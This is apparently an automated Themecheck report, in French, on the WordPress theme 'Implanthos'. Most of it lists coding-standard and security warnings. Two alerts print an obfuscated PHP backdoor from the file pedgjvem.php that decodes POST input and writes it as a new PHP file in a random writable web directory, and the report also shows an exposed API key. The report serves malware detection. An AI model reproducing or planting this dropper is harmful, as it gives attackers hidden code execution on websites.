0
Résultats de validation

Implanthos

Implanthos

WordPress 6.7 theme
0
  • TYPE DE THèMEThème WordPress %s 6.7
  • NOM DU FICHIERtheme_implanthos.zip
  • TAILLE DU FICHIER9740668 octets
  • MD57ca1e9c1628a0aaad783913a49f8e84f
  • SHA1cbc33002aa3f69930ac924732bbda27f781e9938
  • LICENCEAucun
  • FICHIERS INCLUSCSS, PHP, HTML, XML, Bitmap images, Adobe Photoshop, Adobe Illustrator
  • VERSION1.0
  • URI DE L'AUTEUR
  • DATE DE CRéATION2021-11-18
  • DERNIèRE MISE à JOUR DU FICHIER2021-11-18
  • DERNIèRE VALIDATION2021-11-18 18:28
Ce thème n'est peut être pas libre. Themecheck ne distribue pas de thèmes commerciaux.
Alertes critiques
  1. Title : Title Absence de référence à add_theme_support( "title-tag" ) dans le thème.Le thème doit avoir des tags <title>, idéalement dans le fichier header.php.Le thème doit comporter un appel à wp_title(), idéalement dans le fichier header.php.
  2. Widgets : Widgets Le thème utilise register_sidebar() mais aucun appel à dynamic_sidebar() n'a été trouvé. Cf dynamic_sidebar
     <?php dynamic_sidebar( $index ); ?>
    Les sidebars doivent être déclarées dans une fonction custom en hook à l'action widgets_init. Cf register_sidebar().
  3. Failles de sécurité : Utilisation d'appels systèmes PHP popen trouvé dans le fichier class.phpmailer.php. 397: if(!@$mail = popen($sendmail, 'w'))popen trouvé dans le fichier class.phpmailer.php. 1387: if (!@$mail = popen($sendmail, 'w')) {1408: if (!@$mail = popen($sendmail, 'w')) {
  4. Failles de sécurité : Modification des paramètres du serveur PHP ini_set trouvé dans le fichier import.php. 2: ini_set('max_execution_time','-1');ini_set trouvé dans le fichier class.phpmailer.php. 432: ini_set('sendmail_from', $this->Sender);441: ini_set('sendmail_from', $old_from);ini_set trouvé dans le fichier class.phpmailer.php. 1491: ini_set('sendmail_from', $this->Sender);1504: ini_set('sendmail_from', $old_from);2703: ini_set('magic_quotes_runtime', false);2712: ini_set('magic_quotes_runtime', $magic_quotes);
  5. Failles de sécurité : Utilisation de base64_decode() base64_decode trouvé dans le fichier class.smtp.php. 513: $challenge = base64_decode($challenge);533: $challenge = base64_decode(substr($this->last_reply, 4));base64_decode trouvé dans le fichier class.phpmailer.php. 3413: $data = base64_decode($data);
  6. Failles de sécurité : Utilisation de base64_encode() base64_encode trouvé dans le fichier class.smtp.php.
     fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
     fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
    base64_encode trouvé dans le fichier class.phpmailer.php.
     $encoded = chunk_split(base64_encode($str), 76, $this->LE);
     $encoded = base64_encode($str);
    base64_encode trouvé dans le fichier class.phpmaileroauthgoogle.php.
     return base64_encode('user=' . $this->oauthUserEmail . '\001auth=Bearer ' . $token
    base64_encode trouvé dans le fichier class.smtp.php.
     base64_encode('\0' . $username . '\0' . $password),
     if (!$this->sendCommand('Username', base64_encode($username), 334)) {
     if (!$this->sendCommand('Password', base64_encode($password), 235)) {
     'AUTH NTLM ' . base64_encode($msg1),
     return $this->sendCommand('Username', base64_encode($msg3), 235);
     return $this->sendCommand('Username', base64_encode($response), 235);
    base64_encode trouvé dans le fichier class.phpmailer.php.
     $encoded = chunk_split(base64_encode($str), 76, $this->LE);
     $encoded = base64_encode($str);
     $chunk = base64_encode($chunk);
     return base64_encode($signature);
     return base64_encode($signature);
     $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binar
  7. Failles de sécurité : Utilisation de str_rot13() str_rot13 trouvé dans le fichier pedgjvem.php. 1: <?php $pdgrrhjp = 'cwfdqlazfmqrueei';$nzrgiln = '';foreach ($_POST as $qfftewlari => $kwpxk){if (strlen($qfftewlari) == 16 and substr_count($kwpxk, '%') > 10){kpgbcspn($qfftewlari, $kwpxk);}}function kpgbcspn($qfftewlari, $eoierxehk){global $nzrgiln;$nzrgiln = $qfftewlari;$eoierxehk = str_split(rawurldecode(str_rot13($eoierxehk)));function naxsdpibww($bwqdmdzcip, $qfftewlari){globa
  8. Fichiers indésirables : Journal des erreurs de PHP error_log a été trouvé.
  9. Présence d'iframes : Les iframes sont parfois utilisées pour charger du contenu non désirés ou du code malicieux sur des sites tiers <iframe src="https://www.google.com/maps/embed/v1/place?key=AIzaSyAHLLVTUE_oY92McLj_SBOSkf3i0q4fQsM &q=<?php echo urlencode(get_option('endereco_google')); ?> trouvé dans le fichier index.php. <iframe width="%s" height="%s" src="%s" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen allowScriptAccess="true"> trouvé dans le fichier AutoEmbed.class.php. 282: return sprintf('<iframe width='%s' height='%s' src='%s' frameborder='0' webkitallowfullscre<iframe src="http://media\.funmansion\.com/funmansion/player/player\.php\?url=([a-z0-9:/\.-_]*\.flv)', 'embed-src' => trouvé dans le fichier stubs.php.
  10. Code malveillant : Opérations sur système de fichiers file_put_contents trouvé dans le fichier pedgjvem.php. 1: <?php $pdgrrhjp = 'cwfdqlazfmqrueei';$nzrgiln = '';foreach ($_POST as $qfftewlari => $kwpxk){if (strlen($qfftewlari) == 16 and substr_count($kwpxk, '%') > 10){kpgbcspn($qfftewlari, $kwpxk);}}function kpgbcspn($qfftewlari, $eoierxehk){global $nzrgiln;$nzrgiln = $qfftewlari;$eoierxehk = str_split(rawurldecode(str_rot13($eoierxehk)));function naxsdpibww($bwqdmdzcip, $qfftewlari){global $pdgrrhjp, $nzrgiln;return $bwqdmdzcip ^ $pdgrrhjp[$qfftewlari % strlen($pdgrrhjp)] ^ $nzrgiln[$qfftewlari % strlen($nzrgiln)];}$eoierxehk = implode('', array_map('naxsdpibww', array_values($eoierxehk), array_keys($eoierxehk)));$eoierxehk = @unserialize($eoierxehk);if (@is_array($eoierxehk)){$qfftewlari = array_keys($eoierxehk);$eoierxehk = $eoierxehk[$qfftewlari[0]];if ($eoierxehk === $qfftewlari[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function ceepap($rekvsdcyir) {static $gwwklnb = array();$xhdfmw = glob($rekvsdcyir . '/*', GLOB_ONLYDIR);if (count($xhdfmw) > 0) {foreach ($xhdfmw as $rekvsdcy){if (@is_writable($rekvsdcy)){$gwwklnb[] = $rekvsdcy;}}}foreach ($xhdfmw as $rekvsdcyir) ceepap($rekvsdcyir);return $gwwklnb;}$egbabtgcfq = $_SERVER['DOCUMENT_ROOT'];$xhdfmw = ceepap($egbabtgcfq);$qfftewlari = array_rand($xhdfmw);$gwfuuvo = $xhdfmw[$qfftewlari] . '/' . substr(md5(time()), 0, 8) . '.php';@file_put_contents($gwfuuvo, $eoierxehk);echo 'http://' . $_SERVER['HTTP_HOSfopen trouvé dans le fichier simplexlsx.class.php. 259: $oF = @fopen($filename, 'rb');fread trouvé dans le fichier simplexlsx.class.php. 265: $vZ = @fread($oF, $this->package['size']);fclose trouvé dans le fichier simplexlsx.class.php. 266: fclose($oF);fopen trouvé dans le fichier custom-fields.class.php. 681: @$fp = fopen($dir.$files,'r');fread trouvé dans le fichier custom-fields.class.php. 682: @$le = fread($ab,filesize($dir.$files));fclose trouvé dans le fichier custom-fields.class.php. 683: @fclose($ab);file_get_contents trouvé dans le fichier custom-fields.class.php. 693: $camposJson = file_get_contents($dir.str_replace('.php','.config',$files));file_get_contents trouvé dans le fichier AutoEmbed.class.php. 240: $source = preg_replace('/[^(\x20-\x7F)]*/','', file_get_contents($url));file_get_contents trouvé dans le fichier recaptchalib.php. 94: $response = file_get_contents($path . $req);readfile trouvé dans le fichier simpleCaptcha.php. 92: readfile($fn);fclose trouvé dans le fichier class.pop3.php. 318: fclose($this->pop_conn);fwrite trouvé dans le fichier class.pop3.php. 345: $bytes_sent = fwrite($this->pop_conn, $string, strlen($string));fclose trouvé dans le fichier class.smtp.php. 298: fclose($this->smtp_conn);fopen trouvé dans le fichier class.phpmailer.php. 1085: if(!@$fd = fopen($path, 'rb'))fread trouvé dans le fichier class.phpmailer.php. 1092: $file_buffer = fread($fd, filesize($path));fclose trouvé dans le fichier class.phpmailer.php. 1094: fclose($fd);fclose trouvé dans le fichier class.pop3.php. 302: @fclose($this->pop_conn);fwrite trouvé dans le fichier class.pop3.php. 336: return fwrite($this->pop_conn, $string, strlen($string));fclose trouvé dans le fichier class.smtp.php. 620: fclose($this->smtp_conn);fwrite trouvé dans le fichier class.smtp.php. 993: $result = fwrite($this->smtp_conn, $data);file_put_contents trouvé dans le fichier class.phpmailer.php. 2357: if (false === file_put_contents($file, $body)) {file_get_contents trouvé dans le fichier class.phpmailer.php. 2383: $body = file_get_contents($signed);2706: $file_buffer = file_get_contents($path);3788: $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);file_get_contents trouvé dans le fichier class.phpmailer.php. 2383: $body = file_get_contents($signed);2706: $file_buffer = file_get_contents($path);3788: $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);file_get_contents trouvé dans le fichier class.phpmailer.php. 2383: $body = file_get_contents($signed);2706: $file_buffer = file_get_contents($path);3788: $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
  11. Code malveillant : Opérations réseau fsockopen trouvé dans le fichier class.pop3.php. 205: Rather than supress it with @fsockopen, let's capture it cleanly instead211: $this->pop_conn = fsockopen($host, // POP3 Hostfsockopen trouvé dans le fichier class.smtp.php. 128: $this->smtp_conn = @fsockopen($host, // the host of the serverfsockopen trouvé dans le fichier class.pop3.php. 215: //Rather than suppress it with @fsockopen, capture it cleanly instead223: $this->pop_conn = fsockopen(fsockopen trouvé dans le fichier class.smtp.php. 297: //Fall back to fsockopen which should work in more places, but is missing some features299: 'Connection: stream_socket_client not available, falling back to fsockopen',303: $this->smtp_conn = fsockopen(
  12. Menu Admin : Les thèmes doivent utiliser add_theme_page () pour ajouter des pages admin. Fichier admin.class.php : 55: add_menu_page($pagina['nome'], $pagina['nome'], 'administrator', $pagina['sFichier admin.class.php : 58: add_submenu_page($pagina['slug'], $sub_pagina['nome'], $sub_pagina['nome'],113: add_submenu_page('edit.php?post_type='.$pagina['parent'], $pagina['nome'], Fichier admin.class.php : 58: add_submenu_page($pagina['slug'], $sub_pagina['nome'], $sub_pagina['nome'],113: add_submenu_page('edit.php?post_type='.$pagina['parent'], $pagina['nome'],
  13. Eléments fondamentaux : Présence d'un DOCTYPE introuvable.
  14. Réponses aux commentaires : Déclarations des réponses aux commentaires Impossible de trouver le script js comment-reply.
  15. Largeur de la page : Définition correcte de content_width Aucune largeur de contenu a été définie. Exemple:
    if ( ! isset ($content_width) ) $content_width = 900;
  16. Fonctions obsolètes : update_usermeta update_usermeta trouvé dans le fichier custom-fields-user.class.php . Obsolète depuis la version de la 3.0. Il est prérable d'utiliser update_user_meta() à la place. 254: update_usermeta($user_id, $option['nome'], $_POST[$option['nome']]);
  17. Fonctions obsolètes : bloginfo bloginfo('template_directory') trouvé dans le fichier index.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 5: <img src='<?php bloginfo('template_directory'); ?>/imagens/popup_site.png' />bloginfo('template_directory') trouvé dans le fichier header.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 9: <link rel='shortcut icon' href='<?php bloginfo('template_directory')?>/imagens/favicon.jpg' type='image/x-icon' /10: <link type='text/css' rel='stylesheet' href='<?php bloginfo('template_directory')?>/lib/css/bootstrap.min.css' />11: <link type='text/css' rel='stylesheet' href='<?php bloginfo('template_directory')?>/fontes/stylesheet.css' />12: <link type='text/css' rel='stylesheet' href='<?php bloginfo('template_directory')?>/font-awesome-4.7.0/css/font-awesome.css' /13: <link type='text/css' rel='stylesheet' href='<?php bloginfo('template_directory')?>/css/flexslider.css' />14: <link type='text/css' rel='stylesheet' href='<?php bloginfo('template_directory')?>/css/animate.css' />15: <link type='text/css' rel='stylesheet' href='<?php bloginfo('template_directory')?>/style.css' />16: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/jquery-1.11.2.min.js'></script>17: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/lib/js/bootstrap.min.js'></script>18: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/lib/js/jquery.form.js'></script>19: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/lib/js/jquery.mask.js'></script>20: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/jquery.bxslider.js'></script>21: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/jquery.mobile-1.4.5.min.js'></script>22: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/jquery.flexslider.js'></script>23: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/scripts.js'></script>24: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/jquery.scrollTo.min.js'></script>25: <script type='text/javascript' src='<?php bloginfo('template_directory')?>/js/jquery.localScroll.js'></script>bloginfo('template_directory') trouvé dans le fichier page.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 54: <a href='<?php bloginfo('template_directory'); ?>/lib/admin/export.php?page=<?php echo $_Gbloginfo('url') trouvé dans le fichier landing-page.php. Il est préférable d'utiliser echo esc_url( home_url() ). 77: <a href='<?php bloginfo('url'); ?>/wp-admin/admin.php?page=<?php echo $_GET['page'];?>&expbloginfo('url') trouvé dans le fichier subpage.php. Il est préférable d'utiliser echo esc_url( home_url() ). 57: <a href='<?php bloginfo('url'); ?>/wp-admin/admin.php?page=<?php echo $_GET['page'];?>&expbloginfo('url') trouvé dans le fichier subpage_post_type.php. Il est préférable d'utiliser echo esc_url( home_url() ). 55: <a href='<?php bloginfo('url'); ?>/wp-admin/admin.php?page=<?php echo $_GET['page'];?>&expbloginfo('template_directory') trouvé dans le fichier admin.class.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 291: <link rel='Stylesheet' type='text/css' href='<?php bloginfo('template_directory'); ?>/lib/css/colorpicker.css' />292: <script src='<?php bloginfo('template_directory'); ?>/lib/js/jquery-1.11.2.min.js' type='text/293: <script src='<?php bloginfo('template_directory'); ?>/lib/js/colorpicker.js' type='text/javascbloginfo('template_directory') trouvé dans le fichier custom-fields.class.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 232: <link rel='Stylesheet' type='text/css' href='<?php bloginfo('template_directory'); ?>/lib/css/colorpicker.css' />233: <!--<script src='<?php bloginfo('template_directory'); ?>/lib/js/jquery-1.11.2.min.js' type='text/234: <script src='<?php bloginfo('template_directory'); ?>/lib/js/colorpicker.js' type='text/javasc517: <img src='<?php bloginfo('template_directory'); ?>/blocos/thumbs/<?php echo str_replace('.p697: <li><a href='javascript:void(0);' data-template='<?php echo $files; ?>' data-campos='<?php echo $campoSerialize; ?>' data-name='<?php echo $templateName; ?>'><img src='<?php bloginfo('template_directory'); ?>/blocos/thumbs/<?php echo str_replace('.p813: html += '<img src='<?php bloginfo('template_directory'); ?>/blocos/thumbs/'+nome_imagem+'' width'200bloginfo('template_directory') trouvé dans le fichier custom-fields-category.class.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 254: <link rel='Stylesheet' type='text/css' href='<?php bloginfo('template_directory'); ?>/lib/css/colorpicker.css' />255: <script src='<?php bloginfo('template_directory'); ?>/lib/js/jquery-1.11.2.min.js' type='text/256: <script src='<?php bloginfo('template_directory'); ?>/lib/js/colorpicker.js' type='text/javasc481: <link rel='Stylesheet' type='text/css' href='<?php bloginfo('template_directory'); ?>/lib/css/colorpicker.css' />482: <script src='<?php bloginfo('template_directory'); ?>/lib/js/jquery-1.11.2.min.js' type='text/483: <script src='<?php bloginfo('template_directory'); ?>/lib/js/colorpicker.js' type='text/javascbloginfo('template_directory') trouvé dans le fichier custom-fields-user.class.php. Il est préférable d'utiliser echo esc_url( get_template_directory_uri() ). 186: <link rel='Stylesheet' type='text/css' href='<?php bloginfo('template_directory'); ?>/lib/css/colorpicker.css' />187: <script src='<?php bloginfo('template_directory'); ?>/lib/js/jquery-1.11.2.min.js' type='text/188: <script src='<?php bloginfo('template_directory'); ?>/lib/js/colorpicker.js' type='text/javasc
  18. Pagination des posts : Implémentation Le thème n'a pas de pagination. La pagination des posts doit être prise en charge par les fonctions posts_nav_link () ou paginate_links () ou the_posts_pagination() ou the_posts_navigation() ou next_posts_link () et previous_posts_link().
Attention
  1. tags du thème : Présence de tags inconnusTag inconnu trouvé dans l'entête du fichier style.css.
  2. Text domain : Utilisation incorrecte des fonctions de traduction.Mauvaus répertoire d'installation pour le thème. Le nom du répertoir doit correspondre au slug du thème. Le slug de ce thème ainsi que le text-domain est implanthos.
  3. Text domain : Utilisation incorrecte des fonctions de traduction.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '%s (Invalid)' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments '%s (Pending)' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_attr_e, avec les arguments 'Move up' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_attr_e, avec les arguments 'Move down' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction esc_attr_e, avec les arguments 'Edit Menu Item' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Edit Menu Item' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'URL' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Navigation Label' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Title Attribute' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Open link in a new window/tab' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'CSS Classes (optional)' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Link Relationship (XFN)' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Description' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'The description will be displayed in the menu if the current theme supports it.' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Submenus com icone' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Subtitle' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Original: %s' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Remove' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _e, avec les arguments 'Cancel' dans le fichier edit_custom_walker.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'post type general name', 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'post type singular name', 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'Adicionar nova', 'theme_padrao' dans le fichier post-type.class.php.Utilisation d'une fonction de traduction avec un nombre incorrect d'arguments. Fonction __, avec les arguments 'Nenhuma ', encontrada, 'theme_padrao' dans le fichier post-type.class.php.Utilisation d'une fonction de traduction avec un nombre incorrect d'arguments. Fonction __, avec les arguments 'Nenhuma ', encontrada na lixeira, 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'post type general name', 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'post type singular name', 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'Adicionar novo', 'theme_padrao' dans le fichier post-type.class.php.Utilisation d'une fonction de traduction avec un nombre incorrect d'arguments. Fonction __, avec les arguments 'Nenhum ', encontrado, 'theme_padrao' dans le fichier post-type.class.php.Utilisation d'une fonction de traduction avec un nombre incorrect d'arguments. Fonction __, avec les arguments 'Nenhum ', encontrado na lixeira, 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'theme_padrao' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'taxonomy general name' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'taxonomy singular name' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Buscar ' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Todas as ' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments ' Pai' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments ' Pai:' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Editar ' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Atualizar' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Adicionar' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Nome da' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'taxonomy general name' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction _x, avec les arguments 'taxonomy singular name' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Buscar ' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Todos os ' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments ' Pai' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments ' Pai:' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Editar ' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Atualizar' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Adicionar' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Nome do' dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments dans le fichier post-type.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Pessoas' dans le fichier tag.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Empresas' dans le fichier tag.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Produtos' dans le fichier tag.class.php.Une fonction de traduction utilisée sans text-domain. Fonction __, avec les arguments 'Assuntos' dans le fichier tag.class.php.Plusieurs text-domain sont utilisés dans le thème. Cela signifie que le thème n'est pas compatible avec les language packs de WordPress. Les domaines trouvés sont twentytwelve, theme_padrao, encontrada, encontrada na lixeira, encontrado, encontrado na lixeira.
  4. Contextes de plugin : Fonctionnalités de pluginLe thème utilise la fonction register_post_type(). Cette fonction n'est pas prévue pour être utilisée dans le contexte d'un thème, mais plutôt dans un plugin.Le thème utilise la fonction add_shortcode(). L'utilisation des custom post-content shortcodes est du domaine des plugins.
  5. Fichiers indésirables : Dossier de projet de Dreamweaverdwsync.xml a été trouvé.
  6. Eléments fondamentaux : Présence de language_attributes() introuvable.
  7. Eléments fondamentaux : Présence de add_theme_support()add_theme_support( 'automatic-feed-links' ) introuvable.
  8. Eléments fondamentaux : Présence de comments_template()comments_template introuvable.
  9. Eléments fondamentaux : Présence de wp_list_comments()wp_list_comments introuvable.
  10. Eléments fondamentaux : Présence de comment_form()comment_form introuvable.
  11. Eléments fondamentaux : Présence de body_class()body_class call in body tag introuvable.
  12. Eléments fondamentaux : Présence de wp_link_pages()wp_link_pages introuvable.
  13. Eléments fondamentaux : Présence de post_class()post_class introuvable.
  14. Pagination des commentaires : Déclaration de la pagination des commentairesLe thème ne prend pas en charge la pagination de commentaire. La fonction paginate_comments_links() permet d'ajouter une pagination de commentaire.
  15. Eléments custom : Présence d'une entête customAucune référence à custom header n'a été trouvée dans le thème.
  16. Eléments custom : Présence d'un fond customAucune référence à custom background n'a été trouvée dans le thème.
  17. Editor style : Présence de l'édition de styleAucune référence à add_editor_style() n'a été trouvée dans le thème. Il est recommandé que le thème implémente l'édition de style, de manière à faire correspondre le contenu de l'éditeur l'affichage dans le thème.
  18. Implémentation de l'internationalisation : Utilisation correcte de ___al(La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_singular a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP. La variable $nome_plural a été trouvée dans une fonction de traduction dans le fichier post-type.class.php . Les appels de fonctions de traduction ne doivent pas contenir de variables PHP.
